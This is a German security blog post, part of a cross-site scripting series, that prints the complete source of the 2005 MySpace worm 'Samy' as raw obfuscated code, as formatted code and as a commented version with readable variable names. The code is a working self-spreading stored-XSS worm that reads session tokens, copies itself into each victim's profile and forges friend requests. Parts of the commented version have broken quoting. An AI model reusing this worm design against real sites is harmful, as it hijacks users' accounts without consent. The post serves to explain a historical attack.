Skip to content

Angriffe über Cross-Site Scripting: Der Sourcecode des MySpace-Wurms Samy

Zur Beschreibung des MySpace-Wurms Samy gehört natürlich auch dessen Sourcecode. Den finden Sie hier, in der Beschreibung sind einige Stellen mit den entsprechenden Stellen im unformatierten Code verlinkt. Diese sind rot hervorgehoben - und ihrerseits mit den entsprechenden Stellen im formatierten Code verlinkt.

Der unformatierte Code

Der Original-Code stammt von Samy Kamkars Quelle: MySpace Worm Explanation und enthält nur einen einzigen Zeilenumbruch:
<div id=mycode style="BACKGROUND: url('javaHIER
script:eval(document.all.mycode.expr)')" ...

Alle anderen unten vorkommenden Zeilenumbrüche entstehen durch den Umbruch, den der Webbrowser automatisch bei bestimmten Sonderzeichen und dem Leerzeichen einfügt, wenn die Zeile zu lang wird.

<div id=mycode style="BACKGROUND: url('java
script:
eval(document.all.mycode.expr)')"expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

Der formatierte Sourcecode

Die folgende, formatierte Version des Sourcecodes basiert auf einer Mail von Antonio Fontes auf der Securityfocus-Mailingliste 'Web Application Security'. Es wird nur der Inhalt von expr gezeigt.

// die Quote-Zeichen:
var B = String.fromCharCode(34);  // "
var A = String.fromCharCode(39);  // '

function g()
{
    var C;
    try
    {
        var D = document.body.createTextRange();
        C = D.htmlText
    }
    catch(e)
    {
    }
     
    if (C)
    { 
        return C
    }
    else
    {
        return eval('document.body.inne'+'rHTML')
    }
}


function getData(AU)
{
    M = getFromURL(AU,'friendID');
    L = getFromURL(AU,'Mytoken')
}


function getQueryParams()
{
    var E  = document.location.search;
    var F  = E.substring(1,E.length).split('&');
    var AS = new Array();
    for (var O = 0; O < F.length; O++)
    {
        var I = F[O].split('=');
        AS[I[0]] = I[1]
    }
    return AS
}


var J;
var AS = getQueryParams();
var L  = AS['Mytoken'];
var M  = AS['friendID'];

if (location.hostname == 'profile.myspace.com')
{
    document.location = 'http://www.myspace.com'+location.pathname+location.search
}
else
{
    if (!M)
     {
          getData(g())
     }
     main()
}


function getClientFID()
{
    return findIn(g(),'up_launchIC( '+A,A)
}


function nothing()
{
}


function paramsToString(AV)
{
    var N = new String();
    var O = 0;
    for (var P in AV)
    {
        if (O > 0)
        {
            N+='&'
        }
        var Q = escape(AV[P]);
        
        while (Q.indexOf('+') != -1)
        {
            Q = Q.replace('+','%2B')
        }
        
        while (Q.indexOf('&') != -1)
        {
            Q = Q.replace('&','%26')
         }

        N+=P+'='+Q;
        O++
    }
    return N
}


function httpSend(BH,BI,BJ,BK)
{
    if (!J)
    {
        return false
    }
    eval('J.onr'+'eadystatechange=BI');
    J.open(BJ,BH,true);
    if (BJ == 'POST')
    {
        J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
        J.setRequestHeader('Content-Length',BK.length)
    }
     J.send(BK);
     return true
}


function findIn(BF,BB,BC)
{
    var R = BF.indexOf(BB)+BB.length;
    var S = BF.substring(R,R+1024);
    return S.substring(0,S.indexOf(BC))
}


function getHiddenParameter(BF,BG)
{
    return findIn(BF,'name='+B+BG+B+' value='+B,B)  
}


function getFromURL(BF,BG)
{
    var T;
    if (BG == 'Mytoken')
    {
         T = B
    }
    else
    {
        T = '&'
    }
    var U = BG+'=';
    var V = BF.indexOf(U)+U.length;
    var W = BF.substring(V,V+1024);
    var X = W.indexOf(T);
    var Y = W.substring(0,X);
    return Y
}


function getXMLObj()
{
    var Z = false;
    if (window.XMLHttpRequest)
    {
        try
        {
            Z = new XMLHttpRequest()
        }
        catch(e)
        {
            Z = false
        }
    }
    else if (window.ActiveXObject)
    {
        try
        {
            Z = new ActiveXObject('Msxml2.XMLHTTP')
        }
        catch(e)
        {
            try
            {
                Z = new ActiveXObject('Microsoft.XMLHTTP')
            }
            catch(e)
            {
                Z = false
            }
        }
    }
    return Z
}


var AA = g();
var AB = AA.indexOf('m'+'ycode');
var AC = AA.substring(AB,AB+4096);
var AD = AC.indexOf('D'+'IV');
var AE = AC.substring(0,AD);
var AF;

if (AE)
{
    AE = AE.replace('jav'+'a',A+'jav'+'a');
    AE = AE.replace('exp'+'r)','exp'+'r)'+A);
    AF = ' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'
}

var AG;


function getHome()
{
    if (J.readyState != 4)
    {
        return
    }
 
    var AU = J.responseText;
    AG = findIn(AU,'P'+'rofileHeroes','</td>');
    AG = AG.substring(61,AG.length);
 
    if (AG.indexOf('samy') == -1)
    {
        if (AF)
        {
            AG+=AF;
            var AR = getFromURL(AU,'Mytoken');
            var AS = new Array();
            AS['interestLabel'] = 'heroes';
            AS['submit']        = 'Preview';
            AS['interest']      = AG;
            J = getXMLObj();
            httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))
        }
    }
}


function postHero()
{
    if (J.readyState != 4)
    {
        return
    }
 
    var AU = J.responseText;
    var AR = getFromURL(AU,'Mytoken');
    var AS = new Array();
    AS['interestLabel'] = 'heroes';
    AS['submit']        = 'Submit';
    AS['interest']      = AG;
    AS['hash']          = getHiddenParameter(AU,'hash');
    httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}


function main()
{
    var AN = getClientFID();
    var BH = '/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
    J = getXMLObj();
    httpSend(BH,getHome,'GET');
    xmlhttp2 = getXMLObj();
    httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')
}


function processxForm()
{
    if (xmlhttp2.readyState != 4)
    {
        return
    }
 
    var AU = xmlhttp2.responseText;
    var AQ = getHiddenParameter(AU,'hashcode');
    var AR = getFromURL(AU,'Mytoken');
    var AS = new Array();
    AS['hashcode'] = AQ;
    AS['friendID'] = '11851658';
    AS['submit']   = 'Add to Friends';
    httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}


function httpSend2(BH,BI,BJ,BK)
{
    if (!xmlhttp2)
    {
        return false
    }
 
    eval('xmlhttp2.onr'+'eadystatechange=BI');
    xmlhttp2.open(BJ,BH,true);
 
    if (BJ == 'POST')
    {
        xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
        xmlhttp2.setRequestHeader('Content-Length',BK.length)
    }
 
    xmlhttp2.send(BK);
    return true
}

Der Sourcecode, kommentiert und mit "sprechenden" Variablennamen

Ich habe den Sourcecode, der oben doch noch reichlich "obfuscated" ist, zur besseren Verständlichkeit an den entsprechenden Stellen umkodiert, die Variablennamen in "sprechende" Namen umgewandelt und die Funktionen kommentiert. Jetzt sollte der Code weitgehend selbstverständlich sein.

function HtmlSeite()
// liefert den Inhalt der aktuellen Seite als HTML-Code
{
    var C;
    try
    {
        var D = document.body.createTextRange();
        C = D.htmlText
    }
    catch(e)
    {
    }
     
    if (C)
    { 
        return C
    }
    else
    {
        return eval('document.body.innerHTML')
    }
}


function getData(AU)
// liefert den Wert der Parameter friendID und Mytoken
{
    FriendIdWert = getFromURL(AU,'friendID');
    MyTokenWert  = getFromURL(AU,'Mytoken')
}


function getQueryParams()
// legt ein Arry mit den Query-Parametern an
{
    var E  = document.location.search;
    var F  = E.substring(1,E.length).split('&');
    var QueryParameterArray = new Array();
    for (var O = 0; O < F.length; O++)
    {
        var I = F[O].split('=');
        QueryParameterArray[I[0]] = I[1]
    }
    return QueryParameterArray
}


var einXmlHttpRequest;
var QueryParameterArray = getQueryParams();
var MyTokenWert         = getQueryParams()['Mytoken'];
var FriendIdWert        = getQueryParams()['friendID'];

if (location.hostname == 'profile.myspace.com')
// wenn wir auf profile.myspace.com sind auf die entsprechende Seite der 
// Hauptdomain wechseln, damit die XMLHttpRequests möglich sind
{
    document.location = 'http://www.myspace.com'+location.pathname+location.search
}
else
{
    if (!FriendIdWert)
     {
          getData(HtmlSeite())
     }
     main()
}


function getClientFID()
// Liefert die Friend-ID des aktuellen Opfers zurück
// up_launchIC() ist eine Funktion einer JavaScript-Bibliothek
// von MySpace, die von der Instant-Messaging-Funktion zur Ankündigung von 
// IM-Anfragen verwendet wird und die 
{
    return findIn(HtmlSeite(),'up_launchIC( '+',')
}


function nothing()
// macht nichts, wird als Event-Handler für einige XMLHttpRequests benötigt
{
}


function paramsToString(EingabeArray)
// wandelt das Array EingabeArray in einen Parameter-String für den URL um
{
    var NeuerString = new String();
    var Zaehler = 0;
    for (var EinParameter in EingabeArray)
    {
        if (Zaehler > 0)
        {
            NeuerString+='&'
        }
        var EscapedString = escape(EingabeArray[EinParameter]);
        
        while (EscapedString.indexOf('+') != -1)
        {
            EscapedString = EscapedString.replace('+','%2B')
        }
        
        while (EscapedString.indexOf('&') != -1)
        {
            EscapedString = EscapedString.replace('&','%26')
         }

        NeuerString+=EinParameter+'='+EscapedString;
        Zaehler++
    }
    return NeuerString
}


function httpSend(derUrl,RequestEventHandler,RequestMethode,RequestDaten)
// Sendet einen XMLHttpRequest an den URL derUrl mit der RequestMethode 
// und den RequestDaten, als Event-Handler dient der RequestEventHandler
{
    if (!einXmlHttpRequest)
    {
        return false
    }
    eval('einXmlHttpRequest.onreadystatechange=RequestEventHandler');
    einXmlHttpRequest.open(RequestMethode,derUrl,true);
    if (RequestMethode == 'POST')
    {
        einXmlHttpRequest.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
        einXmlHttpRequest.setRequestHeader('Content-Length',RequestDaten.length)
    }
     einXmlHttpRequest.send(RequestDaten);
     return true
}


function findIn(EingabeString,StartString,EndeString)
// Liefert den Teilstring zwischen StartString und EndeString aus dem Eingabestring
{
    var StartPosition  = EingabeString.indexOf(StartString)+StartString.length;
    var ErgebnisString = EingabeString.substring(StartPosition,StartPosition+1024);
    return ErgebnisString.substring(0,ErgebnisString.indexOf(EndeString))
}


function getHiddenParameter(EingabeString,ParameterName)
// Liefert den Wert eines Parameters aus der Eingabe
{
    return findIn(EingabeString,'name='+"+ParameterName+"+' value='+",")  
}


function getFromURL(EingabeString,ParameterName)
// Liefert den Wert des Parameters ParameterName aus dem String EingabeString (i.a. ein XMLHttpRequest-responseText)
{
    var ParameterTrenner;
    if (ParameterName == 'Mytoken')
    {
         ParameterTrenner = "
    }
    else
    {
        ParameterTrenner = '&'
    }
    var ParameterNameGleich   = ParameterName+'=';
    var StartParameterWert    = EingabeString.indexOf(ParameterNameGleich)+ParameterNameGleich.length;
    var ParameterWert1024     = EingabeString.substring(StartParameterWert,StartParameterWert+1024);
    var StartParameterTrenner = ParameterWert1024.indexOf(ParameterTrenner);
    var ParameterWertExakt    = ParameterWert1024.substring(0,StartParameterTrenner);
    return ParameterWertExakt
}


function getXMLObj()
// Erzeugt XMLHttpRequest-Objekt, wenn möglich
{
    var Z = false;
    if (window.XMLHttpRequest)
    {
        try
        {
            Z = new XMLHttpRequest()
        }
        catch(e)
        {
            Z = false
        }
    }
    else if (window.ActiveXObject)
    {
        try
        {
            Z = new ActiveXObject('Msxml2.XMLHTTP')
        }
        catch(e)
        {
            try
            {
                Z = new ActiveXObject('Microsoft.XMLHTTP')
            }
            catch(e)
            {
                Z = false
            }
        }
    }
    return Z
}


var HtmlSeite        = HtmlSeite();
var StartSamyCode    = HtmlSeite.indexOf('mycode');
var SamyCode         = HtmlSeite.substring(StartSamyCode,StartSamyCode+4096);
var StartDivSamyCode = SamyCode.indexOf('DIV');
var SamyCodeOhneDiv  = SamyCode.substring(0,StartDivSamyCode);
var SamyIsMyHeroCode;

if (SamyCodeOhneDiv)
{
    SamyCodeOhneDiv  = SamyCodeOhneDiv.replace('java','+java');
    SamyCodeOhneDiv  = SamyCodeOhneDiv.replace('expr)','expr)+');
    SamyIsMyHeroCode = ' but most of all, samy is my hero. <div id='+SamyCodeOhneDiv+'DIV>'
}

var dieProfileHeroes;


function getHome()
{
    if (einXmlHttpRequest.readyState != 4)
    {
        return
    }
 
    var derResponseText = einXmlHttpRequest.responseText;
    dieProfileHeroes    = findIn(derResponseText,'ProfileHeroes','</td>');
    dieProfileHeroes    = dieProfileHeroes.substring(61,dieProfileHeroes.length);
 
    if (dieProfileHeroes.indexOf('samy') == -1)
    {
        if (SamyIsMyHeroCode)
        {
            dieProfileHeroes+=SamyIsMyHeroCode;
            var MyTokenWert         = getFromURL(derResponseText,'Mytoken');
            var QueryParameterArray = new Array();
            QueryParameterArray['interestLabel'] = 'heroes';
            QueryParameterArray['submit']        = 'Preview';
            QueryParameterArray['interest']      = dieProfileHeroes;
            einXmlHttpRequest = getXMLObj();
            httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+MyTokenWert,postHero,'POST',paramsToString(QueryParameterArray))
        }
    }
}


function postHero()
{
    if (einXmlHttpRequest.readyState != 4)
    {
        return
    }
 
    var derResponseText     = einXmlHttpRequest.responseText;
    var MyTokenWert         = getFromURL(derResponseText,'Mytoken');
    var QueryParameterArray = new Array();
    QueryParameterArray['interestLabel'] = 'heroes';
    QueryParameterArray['submit']        = 'Submit';
    QueryParameterArray['interest']      = dieProfileHeroes;
    QueryParameterArray['hash']          = getHiddenParameter(derResponseText,'hash');
    httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+MyTokenWert,nothing,'POST',paramsToString(QueryParameterArray))
}


function main()
{
    var dieFriendId   = getClientFID();
    var derUrl        = '/index.cfm?fuseaction=user.viewProfile&friendID='+dieFriendId+'&Mytoken='+MyTokenWert;
    einXmlHttpRequest = getXMLObj();
    httpSend(derUrl,getHome,'GET');
    xmlhttp2 = getXMLObj();
    httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+MyTokenWert,processxForm,'GET')
}


function processxForm()
{
    if (xmlhttp2.readyState != 4)
    {
        return
    }
 
    var derResponseText     = xmlhttp2.responseText;
    var dasCsrfToken        = getHiddenParameter(derResponseText,'hashcode');
    var MyTokenWert         = getFromURL(derResponseText,'Mytoken');
    var QueryParameterArray = new Array();
    QueryParameterArray['hashcode'] = dasCsrfToken;
    QueryParameterArray['friendID'] = '11851658';
    QueryParameterArray['submit']   = 'Add to Friends';
    httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+MyTokenWert,nothing,'POST',paramsToString(QueryParameterArray))
}


function httpSend2(derUrl,RequestEventHandler,RequestMethode,RequestDaten)
// Sendet einen XMLHttpRequest an den URL derUrl mit der RequestMethode 
// und den RequestDaten, als Event-Handler dient der RequestEventHandler
{
    if (!xmlhttp2)
    {
        return false
    }
 
    eval('xmlhttp2.onreadystatechange=RequestEventHandler');
    xmlhttp2.open(RequestMethode,derUrl,true);
 
    if (RequestMethode == 'POST')
    {
        xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
        xmlhttp2.setRequestHeader('Content-Length',RequestDaten.length)
    }
 
    xmlhttp2.send(RequestDaten);
    return true
}

Carsten Eilers


Übersicht über alle Artikel zum Thema

Cross-Site Scripting im Überblick, Teil 1: Reflektiertes XSS
Cross-Site Scripting im Überblick, Teil 2: Persistentes XSS
Cross-Site Scripting im Überblick, Teil 3: Der MySpace-Wurm Samy
Angriffe über Cross-Site Scripting: Der Sourcecode des MySpace-Wurms Samy
Cross-Site Scripting im Überblick, Teil 4: DOM-basiertes XSS
Cross-Site Scripting im Überblick, Teil 5: Resident XSS
XSS-Angriffe, Teil 1: Informationen einschleusen
XSS-Angriffe, Teil 2: Cookies und Tastendrücke ausspähen
XSS-Angriffe, Teil 3: Zugangsdaten ausspähen
XSS-Angriffe, Teil 4: Ein Blick in die History, und dann auf ins LAN!
XSS-Angriffe, Teil 5: Ein Portscan (nicht nur) im LAN
XSS-Angriffe, Teil 6: Ein verbesserter Portscanner
XSS-Angriffe, Teil 7: Hindernisse beim JavaScript-Portscan beseitigen
XSS-Angriffe, Teil 8: Ein Portscan mit WebSockets oder Cross-Origin Requests
XSS-Angriffe, Teil 9: Der Router im Visier
XSS-Angriffe, Teil 10: Weitere Angriffe auf den Router
XSS-Angriffe, Teil 11: Unerwünschtes Firmware-Update für den Router
XSS-Angriffe, Teil 12: Browser-basierte Botnets
XSS-Angriffe, Teil 13: Fortgeschrittene Angriffe
XSS-Angriffe, Teil 14: Das Browser Exploitation Framework BeEF

Trackbacks

Dipl.-Inform. Carsten Eilers am : Die IoT Top 10, #1: Unsichere Weboberflächen, Teil 5

Vorschau anzeigen
Die Beschreibung der gefährlichsten Schwachstellen in den Geräten des IoT geht weiter. In der Liste der Top IoT Vulnerabilities von OWASP sind wir immer noch bei Platz 1, dem &quot;Insecure Web Interface&quot;. Aber wenigstens sind wir beim zweiten